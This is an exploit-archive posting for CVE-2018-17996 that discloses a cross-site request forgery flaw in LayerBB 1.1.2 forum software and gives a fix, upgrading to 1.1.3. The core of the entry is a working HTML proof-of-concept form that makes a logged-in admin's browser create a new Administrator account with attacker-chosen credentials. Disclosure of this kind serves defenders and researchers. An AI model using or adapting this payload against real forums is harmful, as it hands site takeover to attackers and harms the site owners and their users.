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LayerBB 1.1.2 Cross Site Request Forgery

LayerBB 1.1.2 Cross Site Request Forgery
Posted Feb 15, 2019
Authored by 0xB9

LayerBB version 1.1.2 suffers from a cross site request forgery vulnerability.

tags | exploit, csrf
advisories | CVE-2018-17996
MD5 | 759fb63d8e3642e7b4bc3186031f4013

LayerBB 1.1.2 Cross Site Request Forgery

Change Mirror Download
# Exploit Title: LayerBB 1.1.2 - Cross-Site Request Forgery
# Date: 10/4/2018
# Author: 0xB9
# Twitter: @0xB9Sec
# Contact: 0xB9[at]pm.me
# Software Link: https://forum.layerbb.com
# Version: 1.1.2
# Tested on: Ubuntu 18.04
# CVE: CVE-2018-17996


1. Description:
LayerBB is a free open-source forum software, the CSRF allows creating a admin user.


2. Proof of Concept:

<!-- Create Admin User -->
<html>
<body>
<form action="http://localhost/[path]/admin/new_user.php" method="POST">
<label for="username">Username</label>
<input name="username" id="username" value="test" type="text">
<label for="password">Password</label>
<input name="password" id="password" value="password123" type="password">
<label for="email">Email Address</label>
<input name="email" id="email" value="test@localhost.co" type="text">
<label for="usergroup">Usergroup</label><br>
<select name="usergroup" id="usergroup" style="width:100%;"><option value="4">Administrator</option></select><br><br>
<input name="create" value="Create User" type="submit">
</form>
</body>
</html>
<!-- Create Admin User End -->


3. Solution:
Update to 1.1.3
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